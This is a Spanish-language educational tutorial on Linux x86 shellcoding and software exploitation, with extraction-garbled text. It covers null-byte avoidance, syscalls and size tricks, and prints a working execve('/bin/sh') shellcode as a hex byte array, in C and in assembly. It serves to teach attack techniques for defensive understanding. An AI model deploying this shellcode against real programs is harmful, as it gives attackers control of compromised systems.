introduccion a la explotacion de software en sistemas linux - albert lopez fernandez

101
Introducci´ on a la explotaci´on de software en sistemas Linux por Albert L´ opezFern´andez newlog[at]overflowedminds[dot]net 2009 - Oct -12

Upload: pandarean

Post on 05-Jul-2015

38 views

Category:

Documents


2 download

TRANSCRIPT

Introduccin a la explotacin de software en o o sistemas Linuxpor Albert Lpez Fernndez o a newlog[at]overflowedminds[dot]net 2009 - Oct -12

Abstract El objetivo de esta investigacin es introducir al lector en el mundo de la explotao cin de software. Las tcnicas de explotacin de software se pueden dividir en dos o e o conceptos muy generales. El primero de ellos es el shellcoding. El desarrollo de shellcodes se basa en la programacin en ensamblador de ciertas rutinas que permitan realizar las acciones que un o programador necesite una vez se haya vulnerado el software investigado. La programacin de shellcodes es bastante compleja ya que cada una de las rutinas programao das debe cumplir ciertas restricciones y, debido a estas restricciones, el programador no puede utilizar todas las funcionalidades que proporciona el lenguaje ensamblador. El segundo concepto tratado es el exploiting. El exploiting se basa en descubrir los errores que ha realizado un programador en el momento de escribir el cdigo fuente o de una aplicacin para poder vulnerar la seguridad de un sistema y tener, en el mejor o de los casos, acceso total, con los mayores privilegios, al sistema vulnerado. El primer concepto tratado en esta investigacin es el shellcoding. Elegir este o orden permite al lector aprender los conceptos bsicos de la programacin a bajo a o nivel enfocada a sistemas. De este modo, la introduccin al exploiting se simplica o bastante.

Indice Indice Indice de tablas Indice de guras 1. Introduccin o 2. Shellcoding 3. Conceptos bsicos sobre el shellcoding a 3.1. The Addressing Problem . . . . . . . . 3.1.1. The JMP/CALL Trick . . . . . 3.1.2. Pushing the Arguments . . . . 3.2. The Null Byte Problem . . . . . . . . . 4. Implementando llamadas al sistema 1 3 3 4 7 9 9 10 12 14 17

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

5. Optimizacin de los shellcodes o 19 5.1. Optimizacin del tamao . . . . . . . . . . . . . . . . . . . . . . . . . 19 o n 5.1.1. La instruccin cdq . . . . . . . . . . . . . . . . . . . . . . . . 19 o 5.1.2. Uso inteligente de la pila . . . . . . . . . . . . . . . . . . . . . 19 6. Tipos de shellcodes 6.1. Shellcodes locales . . . . . . . . . . 6.1.1. Execve shellcode . . . . . . 6.2. Shellcodes remotos . . . . . . . . . 6.2.1. Port binding shellcode . . . 6.2.2. Reverse connection shellcode 21 21 21 23 24 33 39 39 41 48 49 51 53

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

7. Hacking de shellcodes 7.1. Cuestin de privilegios . . . . . . . . . . . . . o 7.2. Shellcode polimrco . . . . . . . . . . . . . . o 7.3. Reutilizacin de las variables de un programa o 7.3.1. Programas de cdigo abierto . . . . . . o 7.3.2. Programas de cdigo cerrado . . . . . . o 8. Exploiting

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

1

9. Desbordamiento de b fers en la pila u 9.1. Marco de pila generado por el compilador GCC 9.2. Desbordamiento bsico de bfers en la pila . . . a u 9.3. Ejecucin de cdigo arbitrario . . . . . . . . . . o o 9.3.1. Modicacin del registro EIP . . . . . . o 9.3.2. Construccin del exploit . . . . . . . . . o 10.Conclusiones Bibliograf a A. Apndice I e

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

54 57 62 76 76 80 87 88 89

2

Indice de tablas1. 2. 3. 4. Equivalencias ASCII . . . . . . . . Equivalencias entre cdigo mquina o a Instruccin cdq . . . . . . . . . . . o Tamao instrucciones . . . . . . . . n . y . . . . . . . . . . ensamblador . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 16 19 20

Indice de guras1. 2. 3. 4. Llamada a una funcin o Direccionamiento Little Registro ESP . . . . . Diagrama de ujo . . . . . . . . Endian . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 12 13 24

3

1.

Introduccin o

Este documento explica algunos de los mtodos utilizados para explotar software. e La explotacin de software se basa en encontrar algn tipo de vulnerabilidad en o u un programa para poder modicar su comportamiento. Esta modicacin puede o desembocar en la ejecucin de cdigo totalmente ajeno al software explotado, en el o o cierre del software explotado o en la alteracin de su lgica de ejecucin. o o o Hoy en d la sociedad vive rodeada de tecnolog la sociedad depende de la a, a, tecnolog y, a su vez, la tecnolog depende completamente del software que se le ha a a programado. Leemos nuestra correspondencia con el ordenador, nos comunicamos con nuestros mviles, compramos por internet, nuestros hogares y veh o culos estn a protegidos por sistemas electrnicos, las comunicaciones mundiales dependen de siso temas informticos, los sensores de aviones y barcos funcionan gracias a su software a y centrales trmicas o nucleares dependen de los sistemas de control y medicin que e o se les ha programado. Es por esta razn por la que el software desarrollado por o empresas y particulares deber basarse en un principio de seguridad total. a Actualmente, el software desarrollado no puede permitirse el lujo de slo ser funo cional o de tener una interfaz grca impresionante. Cuando se trata de software a cr tico -y actualmente la mayor de software es cr a tico - es mucho peor tener software funcional e inseguro que, directamente, no tener el software. Acaso alguien tendr a el valor suciente como para subir a un avin cuando se es consciente de que su softo ware de control es vulnerable y de que cualquier atacante podr alterar su rumbo a de vuelo? Acaso no es mejor que cien personas no puedan coger un vuelo a que cien personas acaben en el fondo del atlntico? a Es por esta razn por la que se ha desarrollado este documento. Para acercar de un o modo sencillo los conceptos de seguridad a nivel de aplicacin. Este documento ino tenta realizar una introduccin al anlisis de vulnerabilidades y su explotacin. Estos o a o conceptos se explican del modo ms simple posible para que no slo los ms experia o a mentados puedan entenderlo. Se trata de que sean asequibles para los programadores ms noveles, pues son estos los que programarn el software del futuro. a a Ser plausible llegar a la conclusin de que para aprender a desarrollar software a o seguro no es necesario conocer los ataques a los que dicho software est sometido. Sin a embargo, llegar a esta conclusin no ser ms que un error. Si un programador no o a a conociera la metodolog utilizada por los atacantes jams ser capaz de anticiparse a a a a sus acciones y siempre ir un paso por detrs. Jams podr idear un nuevo sistema a a a a de defensa sin conocer todos los detalles de un ataque. Si a un programador slo se le o enseara qu funciones son vulnerables y cules no, cmo ser capaz de programar n e a o a sus propias funciones sin caer en los mismos errores que sus antecesores? Por esta razn este documento explica con mximo detalle cuales son algunos de los conceptos o a y tcnicas utilizados para vulnerar software. e 4

En el panorama actual de desarrollo de software parece ser que el diseo del softn ware y la aplicacin de metodolog de desarrollo de software tienen mucha ms o as a valoracin que la programacin del propio software. No se niega que el diseo del o o n software debe realizarse de manera concisa y exhaustiva, teniendo en cuenta cada uno de sus aspectos, sin embargo, su programacin debe ser igual de concisa y exhaustiva. o Es por esta razn por la que un gran diseo fracasar sin una gran programacin. o n a o Pudiera pensarse que cualquier programador con una m nima experiencia o un ingeniero recin licenciado tiene los conocimientos necesarios para desarrollar software e able, sin embargo, este pensamiento no puede distar ms de la realidad y aun menos a se puede decir que puedan desarrollar software seguro. Para ser capaz de desarrollar software seguro es necesaria la destreza de un ingeniero con una gran formacin y o habilidad. Sin embargo, la mayor de empresas contratan programadores noveles a a los que les pagan una miseria y despus pretenden que su software sea competitivo. e Esto es una insensatez y si documentos como el presente ayudan a cambiar el modo de operar de aquellos que deben dirigir o disear proyectos, el desarrollo de esta n investigacin ya habr cumplido uno de sus cometidos. o a Aunque esta investigacin trata muchos conceptos, el trabajo se divide en dos o apartados muy distintos entre si. El primero que se desarrolla es el conocido como shellcoding. El shellcoding es el arte de programar ciertas rutinas en ensamblador para inyectarlas directamente en memoria en tiempo de ejecucin. El shellcoding o es un arte porqu cada situacin requiere un tipo de rutina espec e o ca y, en muchos casos, estas rutinas han de cumplir ciertas restricciones. Realizar un buen shellcode signica dominar al mximo el lenguaje ensamblador para conseguir realizar operaa ciones con un cdigo que ocupe el menos espacio posible. Los shellcodes acostumbran o a ocupar pocos bytes aun cuando un programa que realice la misma tarea pueda ocupar cientos o miles de bytes. El segundo apartado de este trabajo es el exploiting. Al principio de esta investigacin ya se ha dado una breve explicacin de lo que signica explotar software, que es o o lo mismo que el exploiting. Lo que no se ha comentado es que una vez el software se ha explotado correctamente, ser el shellcode que se ha programado con anterioridad a el que se ejecutar para demostrar que el software es vulnerable. Cuando se explota a cualquier tipo de software y se es capaz de ejecutar el shellcode de nuestra eleccin o se puede decir que el software explotado est en la peor situacin posible. a o Comentar que el cap tulo de shellcoding se explica antes que el cap tulo de exploiting para ir introduciendo los conceptos de sistema a bajo nivel. El hecho de elegir este orden permite introducirse en el mundo del exploiting de un modo ms sencillo. a A continuacin se da una breve descripcin sobre aquellos cap o o tulos de esta investigacin que desarrollan conceptos intr o nsecos al desarrollo de shellcodes y exploits: En el Cap tulo 2 se hace una pequea introduccin a los conceptos ms bsicos n o a a sobre el shellcoding. 5

En el Cap tulo 3 se presentan algunos de los problemas con los que uno se puede encontrar al desarrollar shellcodes. A su vez, para cada problema se plantean una o varias soluciones y se estudia cual de ellas es la mejor. En el Cap tulo 4 se detalla el modo de realizar llamadas al sistema en ensamblador. En el Cap tulo 5 se comentan algunas de las optimizaciones que se le puede implementar al cdigo fuente de los shellcodes. o En el Cap tulo 6 se presentan algunas de las implementaciones ms comunes en el a momento de desarrollar shellcodes. En el Cap tulo 7 se explican algunas implementaciones de shellcodes que permiten optimizar an ms los shellcodes o saltarse ciertas medidas de seguridad. u a En el Cap tulo 8 se hace una breve introduccin al concepto de exploiting y se coo mentan algunas de sus consecuencias. En el Cap tulo 9 se introduce el concepto de desbordamiento de bfers en la pila. Se u detalla como se construye un marco de pila real, cmo sucede un desbordamiento y o se explican algunas de las tcnicas utilizadas para aprovecharse de estos desbordae mientos. Para la realizacin de esta investigacin se ha trabajado con la distribucin de o o o Linux U buntu en su versin 10.10. El cdigo fuente escrito est pensado para ejecuo o a tarse en arquitecturas Intel x86 de 32 bits.

6

2.

Shellcoding

Se llama shellcode al cdigo inyectado a un programa en ejecucin cuando se o o ha de explotar una vulnerabilidad1 . El modo de conseguir esta inyeccin de cdigo o o depende de cada situacin. En cualquier caso, se trata de aprovechar los errores o que pueda contener el cdigo del programa objetivo. Algunas de las vulnerabilidades o ms comunes son la siguientes: stack overf lows, integer overf lows, heap overf lows, a f ormat string corruptions . . . Los shellcodes2 estn programados en lenguaje ensamblador3 . El ejecutable creaa do a partir de su cdigo tiene que ser optimo en cuanto a velocidad y dimensin. o o Como veremos ms adelante lo que buscaremos al programar shellcodes, ser que a a su ejecutable ocupe el m nimo espacio posible. En la optimizacin del shellcode es o dnde reside la genialidad del programador. o Un shellcode no es exactamente un programa ejecutable, por tanto, no se podr dea clarar la disposicin de los datos en memoria y, an menos, utilizar otros segmentos o u de memoria para nuestros propsitos. Las instrucciones deben ser independientes y o tienen que estar programadas de tal manera que permitan tomar el control del procesador en cualquier momento. Este tipo de cdigos son comnmente denominados o u como cdigos independientes de la posicin. o o Cuando el cdigo de un shellcode se adjunta al cdigo de un exploit4 , ste no se o o e inserta tal y como se ha programado, sino que se ha de codicar en hexadecimal y almacenarlo en un array del tipo char. Un ejemplo de shellcode listo para insertar en un exploit es el que podemos encontrar en el Cdigo 1. ochar shellcode [] = " \ xb0 \ x0b " " \ x99 " " \ x52 " " \ x68 \ x2f \ x2f \ x73 \ x68 " " \ x68 \ x2f \ x62 \ x69 \ x6e " " \ x89 \ xe3 " " \ x52 "Una vulnerabilidad es un error de programacin que afecta directamente a la integridad del o sistema en el que se est ejecutando dicho programa. a 2 Dado que la palabra shellcode proviene del ingls, no tenemos ninguna referncia sobre su e e gnero. Por esta razn, en est art e o e culo he decido tratar esta palabra como si su gnero fuera e masculino. Comnmente, en mbitos de habla hispana, esta palabra es tratada como si su gnero u a e fuera femenino, sin embargo, creo que dicha precisin es incorrecta, pues la palabra shellcode hace o referencia a un tipo de cdigo y, la palabra cdigo es de gnero masculino. o o e 3 En este art culo, los shellcodes sern programados para arquitecturas Intel x86. a 4 Se llama exploit al cdigo que explota algn tipo de vulnerabilidad. o u1

1 2 3 4 5 6 7

7

8 9 10

" \ x53 " " \ x89 \ xe1 " " \ xcd \ x80 " ;

Cdigo 1. Shellcode en hexadecimal de ejemplo o

8

3.

Conceptos bsicos sobre el shellcoding a

Como se ha comentado en el apartado anterior, el cdigo de un shellcode debe o ser independiente de la posicin y, adems de cumplir esta restriccin, los shellcodes o a o acostumbran a ser inyectados en memoria a partir de funciones orientadas al trabajo con cadenas. Estas dos caracter sticas son las que introducen los problemas ms a comunes a la hora de desarrollar un shellcode. Estos problemas son conocidos con los nombres de Addressing P roblem5 y N ull Byte P roblem6 . En los siguientes cap tulos, se mostrarn diferentes cdigos fuentes preparados a o para que el lector pueda compilarlos y ejecutarlos en un ordenador actual. Sin embargo, debido a que se est programando a muy bajo nivel se debe ser consciente a de que al compilar el cdigo fuente de un modo u otro, ste se situar en diferentes o e a posiciones de memoria. Actualmente, los diferentes sistemas operativos del mercado implementan varias medidas de seguridad para intentar impedir la explotacin del o sof tware mal programado. Tal y como se ha dicho, estas medidas de seguridad no son ms que un intento por securizar las aplicaciones que se ejecutan en el sistema a operativo, sin embargo, por el momento, no se ha encontrado ningn mtodo genriu e e co que permita a los sistemas operativos hacer que las aplicaciones que se ejecutan en l no sean explotables. e Debido a que el objetivo de esta investigacin no es el de cmo vulnerar dichos o o mecanismos de seguridad, en el Apndice II se explica el modo de desactivarlos. e Adems, en dicho apndice se explica tambin cmo compilar los cdigos mostrados a e e o o a continuacin y las implicaciones de compilar de un modo u otro. o

3.1.

The Addressing Problem

Dado que los shellcodes se inyectan a programas que estn en ejecucin y se a o almacenan en la memoria de manera dinmica su cdigo debe ser autocontenido y, a o por tanto, debemos saber la direccin de memoria de algunos de los elementos que o usaremos en nuestro shellcode. Para obtener las direccines de memoria necesarias para el correcto funcionamiento o de un shellcode disponemos de dos mtodos. El primero se basa en localizar la e informacin en la pila -stack- a partir de las instrucciones jmp y call. Con el segundo o mtodo se ha de insertar la informacin en la pila y despus almacenar el contenido e o e del registro esp7 .Problema de direccionamiento. Problema del byte nulo. 7 El Extended Stack P ointer (ESP ) es el registro donde se almacena la posicin en memoria o del ultimo dato introducido en la pila 6 5

9

3.1.1.

The JMP/CALL Trick

A simple vista, este mtodo puede parecer complejo, sin embargo, una vez se e entiende como funciona internamente la intruccin call, desaparece cualquier tipo de o complicacin. o En la Figura 1 se puede ver un grco que ejemplica, el funcionamiento de dicha a instruccin. o Figura 1. Llamada a una funcin o

A grandes rasgos, la instruccin call es el equivalente a llamar a una funcin en o o el lenguaje de programacin c. o Como se puede ver en la Figura 1, cuando se ejecuta la instruccin call, en la pila se o inserta la direccin de memoria por la cual tendr que continuar el ujo del programa o a una vez se retornara de la funcin llamada por la instruccin call. As pues, se o o concluye que justo en el momento de ejecutar la instruccin call, en la parte superior o de la pila tenemos almacenada la direccin de retorno de la funcin. o o El Cdigo 2 ejemplica cmo podr o o amos obtener la direccin de memoria donde se o almacena una cadena cualquiera.1 2 3 4 5 6 7

BITS 32 jmp short code : pop esi short : call code db texto

10

Cdigo 2. Implementacin del jmp/call trick o o En la primera l nea salta a la etiqueta data. En la segunda l nea tenemos la estiqueta code. En la tercera l nea almacenamos lo que hay en la parte superior de la pila en el registro esi. En la cuarta l nea tenemos la etiqueta short. En la quinta l nea llamamos a la funcin code, con lo que en la pila se inserta la o direccin de retorno de la funcin code. Y es en la tercera l o o nea dnde almacenamos o dicha direccin. o En la sexta l nea tenemos el texto del cual queremos saber donde estar ubicado en a memoria en tiempo de ejecucin. o Para almacenar la direccin donde se ubica la cadena se ha tenido que utilizar esta o estructura en el cdigo para evitar insertar bytes nulos, pero de esto se hablar en o a los prximos apartados. Ahora slo ha de quedar claro que utilizando este truco o o podemos averiguar donde se ubican las cadenas en memoria.

11

3.1.2.

Pushing the Arguments

Aunque el JM P/CALL T rick es un mtodo funcional, el mtodo que se presenta e e en este apartado permite reducir substancialmente el tamao de un shellcode. Para n llevar a cabo esta tcnica no es necesario recurrir a complicadas estructuras de cdigo e o como con el truco del JM P/CALL, sin embargo, para entenderla se necesita tener dos conceptos claros. El primero de ellos es que dado que estamos trabajando con la pila en una arquitectura little endian8 los datos que se insertan en memoria y son de ms de un byte se a introducen en el orden inverso al escrito. La Figura 2 clarica la explicacin. o Figura 2. Direccionamiento Little Endian

1 El segundo concepto que se ha de tener claro es que para aadir una cadena a la n pila se debe codicar en hexadecimal9 y en bloques de 32 o 64 bits10 . En un caso real, si se quisiera saber en qu direccin de memoria se almacena la e o cadena Morning! usando el mtodo pushing the arguments se podr utilizar un e a cdigo tal que el 3. o1 2 3 4 5

BITS 32 xor eax , eax push byte al push 0 x696e6721 push 0 x6e726f4dEn http://es.wikipedia.org/wiki/Little-endian se puede encontrar una buena explicacin sobre o el tipo de direccionamiento en cada arquitectura. 9 En http://www.ascii.cl/es podemos encontrar las equivalencias necesarias. 10 Esto se debe al tipo de arquitectura con el que se trabaje. En este ensayo se trabajar con una a arquitectura de 32 bits.8

12

6

mov esi , esp

Cdigo 3. Mtodo P ushing the arguments o e En la segunda l nea se pone a cero el registro eax. Se usa este mtodo, en vez de e utilizar la instruccin mov ya que, cmo veremos en los prximos apartados, gracias o o o a la instruccin xor el shellcode es un byte ms pequeo. En la tercera l o a n nea se inserta en la pila un byte nulo, el byte de menos peso del registro eax. Esto lo hacemos para que la cadena Morning! acabe con un byte nulo. En las l neas 3 y 4 insertamos en la pila la cadena Morning!. Las equivalencias se encuentran en la Tabla 1. Tabla 1. Equivalencias ASCII Hexadecimal ASCII 0x69 i 0x6e n 0x67 g 0x21 ! 0x6e n 0x72 r 0x6f o 0x4d M

En la ultima l nea se almacena en esi el valor del registro esp, por tanto, esi contiene la direccin de memoria donde est ubicado el principio de la cadena. o a Despus de ejecutar el cdigo el estado de la pila ser parecido al de la Figura 3. e o a Figura 3. Registro ESP

13

3.2.

The Null Byte Problem

Los shellcode acostumbran a ser inyectados en memoria a partir de funciones orientadas a cadenas -strcpy(), sprintf(). . . -. Si estas funciones encuentran un byte nulo en medio del cdigo, dan el shellcode por nalizado con lo que ste no se inyecta o e en memoria por completo. No hay una regla general que nos permita eludir la insercin de bytes nulos en o un shellcode, sin embargo, tenemos herramientas que nos permiten saber si nuestro shellcode los contiene. Un byte nulo se genera cuando nuestro cdigo fuente se traduce o a sus correspondientes instrucciones en cdigo mquina y no es ms que un conjunto o a a de ocho bits a cero, tal y como su nombre indica. He escrito un cdigo que facilita la deteccin de bytes nulos. Est programado para o o a plataformas con GN U/Linux. Para que el cdigo funcione se necesita tener instalada o una aplicacin llamada ndisasm que viene instalada en la mayor de distribuciones o a o que se puede instalar fcilmente con cualquier gestor de paquetes. El programa, a bautizado como N ullBytes, se compone por seis archivos: N ullBytes.c, M ensajes.h, M ensajes.c, Salida.h, Salida.c y el makef ile. En el Apndice I se lista el contenido e de cada archivo. Para entender su funcionamiento bastar con compilar el cdigo a o ejecutando el comando make y despus el comando ./N ullBytes h. e A continuacin se plantearn soluciones a diferentes casos prcticos dnde se o a a o pueden generar bytes nulos: call 0x14 Esta instruccin salta 0x13h11 (o 19d) bytes hacia adelante. Dado que 19d es un o nmero muy pequeo, una vez se genere el cdigo mquina del shellcode, al 19d se u n o a le anteponen varios ceros (ya que la arquitectura del procesador es de 32 o 64 bits) con lo que el shellcode tendr bytes nulos. a Para solucionar este caso hemos de utilizar el ya conocido mtodo del JM P/CALL. e Imaginemos que el cdigo de donde se obtiene la instruccin call 0x14 viene de deso o ensamblar el Cdigo 4. o1 2 3 4 5 6

BITS 32 call mark db " Hello world " ,0 x0a mark : pop ecx ( ... )

Cdigo 4. Ejemplo de byte nulo o11

La h indica que el valor est en hexadecimal. Si hubiera una d el valor estar en decimal a a

14

En el cdigo anterior la etiqueta mark, de la instruccin call, se traduce por o o el valor absoluto del salto que se ha de hacer en memoria para llegar a ejecutar la etiqueta especicada. Como se ha comentado, el cdigo anterior tiene bytes nulos. o Lo correcto ser utilizar un cdigo tal que el 5. a o1 2 3 4 5 6 7 8

BITS 32 jmp short one two : pop ecx ( ... ) one : call two : db " Hello world ! " ,0 x0a

Cdigo 5. Solucin al byte nulo o o Porqu el jmp short one y el call two no contienen bytes nulos? e Tanto la instruccin jmp como la instruccin call estan pensadas para realizar o o grandes saltos, sin embargo, a diferencia de la instruccin call, cuando hacemos saltos o con jmp podemos utilizar otra versin de la instruccin que es ms adecuada para o o a realizar saltos cortos -de aproximadamente 128 bytes- y gracias a ello nos ahorramos el relleno de ceros. Dicha instruccin es la jmp short. o Por otro lado, como se puede apreciar en el cdigo anterior, tenemos un call. Este o call no es problemtico ya que el salto es negativo, o sea, va hacia atrs. Cuando se a a hacen saltos negativos el procesador utiliza el mtodo CA2 12 con lo que los bits de e signo (negativo) se ponen a 1. Gracias a esto el call no contiene bytes nulos. mov eax, 0x4 Si nos encontramos con instrucciones que trabajan con los registros al completo (32 o 64 bits) y en ellos se almacenan valores pequeos, lo que hemos de hacer es trabajar n con sus homlogos sin versin extendida. Por ejemplo, deber o o amos cambiar eax por al. Porqu con mov al, 0x4 no obtenemos bytes nulos? e Los registros eax, ebx, ecx, edx, esi, edi, ebp y esp son registros de 32 bits. Estos registros se pueden dividir de varias maneras. Si se trabaja con los registros ax, bx, cx, dx, si, di, bp y sp slo se podrn almacenar variables de 16 bits. Por ultimo, o a algunos de estos registros an pueden dividirse en al, ah, bl, bh, cl, ch, dl, dh que son u la versin de un byte de los registros eax, ebx, ecx, edx. Cada tupla de registros o de un byte vienen a ser los dos bytes de menos peso del registro extendido al que12

En http://es.wikipedia.org/wiki/Complemento a dos se puede encontrar ms informacin. a o

15

pertenecen. Adems, la letra l o h determina si es el byte de ms o menos peso. a a Por ejemplo, el registro al contiene los bits del 0 al 7 del registro eax, en cambio, el registro ah contiene los bits del 8 al 15. El problema del byte nulo viene cuando en un registro se almacena una variable para la cual sobra espacio. El espacio sobrante se rellena con bits a cero, con lo que se generan bytes nulos. Asues, si almacenamos p un valor pequeo en un registro del tipo al, dicho registro no se rellenar con ceros n a y as se evitar la generacin de bytes nulos. La Tabla 2 se ve el cdigo ensamblador a o o de diferentes instrucciones y su traduccin a cdigo mquina. o o a Tabla 2. Equivalencias entre cdigo mquina y ensamblador o a Cdigo mquina Ensamblador o a B8 04 00 00 00 mov eax, 0x4 66 B8 04 00 mov ax, 0x4 B0 04 mov al, 0x4

Como se puede ver en la Tabla 2, la instruccin mov eax, 0x4 genera tres bytes o nulos. La instruccin mov ax, 0x4 genera un byte nulo y la instruccin mov al, 0x4 o o no genera ninguno.

16

4.

Implementando llamadas al sistema

Una llamada al sistema -system call- es una funcin dada por el sistema operatio vo. En Linux o BSD, para especicar que queremos ejecutar una llamada al sistema usamos la instruccin int 0x80. Una vez se ejecuta dicha instruccin, el kernel busca o o en el registro eax el nmero que ha de identicar la llamada al sistema que queremos u ejecutar. Si se encuentra un valor correcto en el registro eax el kernel procesa los argumentos dados para la llamada al sistema y la ejecuta. Los valores identicativos de cada llamada al sistema se pueden encontrar en un archivo llamado unistd.h. Dependiendo de la distribucin de GN U/Linux o de la o versin del kernel de la que se disponga, el archivo puede encontrarse en diferentes o ubicaciones. Para localizarlo bastar con ejecutar el comando updatedb, seguido de a locate unistd.h en la consola del sistema. Explicada la teoria, en el Cdigo 6 se ver un ejemplo en el cual se ejecutar la o a a llamada al sistema exit. Exactamente exit(0).1 2 3 4

BITS 32 xor eax , eax mov al , 1 int 0 x80

Cdigo 6. Llamada al sistema exit o En la segunda y tercera l nea se ponen a cero los registros eax y ebx. En la tercera l nea, a los ocho bits de menos peso de eax se les asigna un 1. En la cuarta l nea se notica al kernel de que se quiere ejecutar una llamada al sistema. Se inicializa eax porque ser el registro que contendr el nmero identicativo de a a u la llamada al sistema en cuestin. Por eso, despus de que se inicialice, se le asigna o e un 1, que es el id de exit. Dado que como argumento la system call exit utilizar un a cero, se ha de poner dicho valor en el registro ebx. Una vez realizados estos pasos, slo queda noticar al kernel de que todo est preparado para la ejecucin de la o a o system call. A partir del ejemplo anterior se podr adivinar cual es la metodologia que utia liza el ncleo del sistema para ejecutar las llamadas al sistema. Cuando se procesa u la instruccin int 0x80, el kernel busca en el registro eax cual ser la llamada al o a sistema a ejecutar. Una vez sabe cual es la system call a ejecutar, el kernel conoce cuantos argumentos necesita dicha llamada. Los argumentos los hemos de almacenar en los registros ebx, ecx, edx, esi y edi. Si la llamada al sistema tuviera ms de 5 a argumentos se tendr que almacenar en el registro correcto la direccin de memoria a o

17

donde encontrar los argumentos restantes. En casos excepcionales, el registro ebp se utiliza como argumento temporal13 .13

http://www.tldp.org/LDP/lki/lki-2.html#ss2.11

18

5.

Optimizacin de los shellcodes o

Antes de entrar de pleno en la programacin de shellcodes es bueno tener una o base tcnica en la que sustentarse. Por ello, en este breve cap e tulo se darn unas a breves directrices para empezar a programar los shellcodes de un modo eciente. De esta manera, no tendremos que corregir nuestros shellcodes una vez hayan sido programados, sino que desde un principio los programaremos teniendo en cuenta los puntos que se expondrn a continuacin. a o

5.1.5.1.1.

Optimizacin del tama o o nLa instruccin cdq o

En ensamblador existe una instruccin llamada cdq una palabra (word) doble o a cudruple. Dado que los registros son de 32 bits (palabras dobles) necesitaremos a dos registros para almacenar el resultado de la instruccin cdq. En el caso de la o instruccin cdq, el registro eax se utiliza como origen y los registros edx y el mismo o eax se usan como destino. Lo que realiza la instruccin es una extensin del bit de o o signo de un entero de 32 bits (almacenado en eax). As pues, si en eax se almacena un cero - el bit de signo es 0 -, se conseguir poner a a cero el registro edx sin tener que realizar una xor con lo que, en cuanto a tamao, n se ahorrar un byte. En la Tabla 3 se muestra como la instruccin cdq ocupa un byte a o menos que la instruccin xor. o Tabla 3. Instruccin cdq o Cdigo mquina Ensamblador o a 31 D2 xor edx, edx 99 cdq

5.1.2.

Uso inteligente de la pila

Cuando se desapila un byte de la pila a un registro de 32 bits se realiza automtia camente una extensin de signo llenando todo el registro en cuestin. As pues, si se o o diera el caso en el que se hubieran de ejecutar las siguientes instrucciones: xor eax, eax mov al, 0xb Las podr amos substituir por las citadas a continuacin y se obtendr el mismo o a resultado a la vez que se reducir en un byte el tamao total del shellcode: a n 19

push byte 0xb pop eax Dado que en binario 0xb es 00001011, al hacer el pop eax se realizar una extensin a o de signo - 0 en nuestro caso - y los 24 bits restantes del registro eax se llenarn de a ceros con lo que uno se ahorra realizar el xor eax, eax. En la Tabla 4 se muestra una tabla con el tamao de cada conjunto de instrucciones. n

Tabla 4. Tamao instrucciones n Cdigo mquina Ensamblador o a 31 C0 xor eax, eax B0 0B mov al, 0xb 6A 0B push byte 0xb 58 pop eax

Como se puede apreciar, utilizando el segundo conjunto de instrucciones nos ahorramos un byte. Cabe destacar que siempre que se use la instruccin push ser o a correcto especicar el tamao de la variable a almacenar. Los tamaos disponibles n n son byte, word y dword que especican que la variable es de 8, 16 y 32 bits respectivamente.

20

6.

Tipos de shellcodes

Despus de haber estudiado toda la problemtica inherente a la programacin de e a o shellcodes en los cap tulos anteriores, en este cap tulo se va a estudiar cuales sn los o dos tipos de shellcodes existentes y cuales son sus mximos exponentes. a Por un lado se presentaran los shellcodes de mbito local y por otro lado, se a estudiaran tambin los shellcodes de mbito remoto. e a Los shellcodes locales son aquellos cdigos que no establecen ninguna conexin ni o o env datos a otras mquinas que no sean la explotada. Estos shellcodes slo son an a o utiles si se tiene acceso f sico a la mquina explotada. a Los shellcodes remotos son aquellos shellcodes que establecen conexiones o env an datos a otras mquinas que no sean la explotada. Se usan este tipo de shellcodes a cuando no se puede tener acceso a la mquina explotada. a

6.1.

Shellcodes locales

Tal y como se ha explicado, este tipo de shellcode trabaja en un ambito local y slo es util cuando se tiene acceso f o sico a la mquina explotada. Como shellcode a local slo estudiaremos el llamado execve shellcode ya que una vez ejecutado este o cdigo se tendr el control absoluto de la mquina donde se ejecute. o a a

6.1.1.

Execve shellcode

Este es uno de los shellcodes ms bsicos que existen, sin embargo, su correcta a a ejecucin permite obtener el control absoluto de la mquina donde se ejecute. Este o a shellcode ejecuta una l nea de comandos y si disponemos de los privilegios sucientes podremos controlar todos los aspectos del sistema. Tal y como su nombre indica, este shellcode utiliza una system call llamada execve. El prototipo de la funcin es el siguiente: o int execve ( const char * filename, const char * argv[], const char *envp[]); Esta llamada al sistema permite ejecutar cualquier ejecutable que exista en el sistema mientras tengamos los permisos sucientes. El parmetro f ilename indica el nombre del ejecutable. Los argumentos de dicho a ejecutable se almacenan en la variable argv. El argumento envp contiene un array de variables de entorno que seran heredadas por el ejecutable en cuestin. o En C, el cdigo equivalente al execve shellcode ser tan simple como las instruco a ciones citadas en el Cdigo 7. o 21

1 2 3 4 5 6 7 8

# include < unistd .h > int main ( void ) { char * shell [2]; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( " / bin / sh " , shell , NULL ) ; }

Cdigo 7. Execve shellcode en C o Una vez visto el cdigo en C, se muestra en el Cdigo 70 una de las posibles o o implementaciones en ensamblador del shellcode en cuestin. o1 2 3 4 5 6 7 8 9 10 11 12 13

BITS 32 xor eax , eax cdq mov byte al , 11 push edx push long 0 x68732f2f push long 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 0 x80

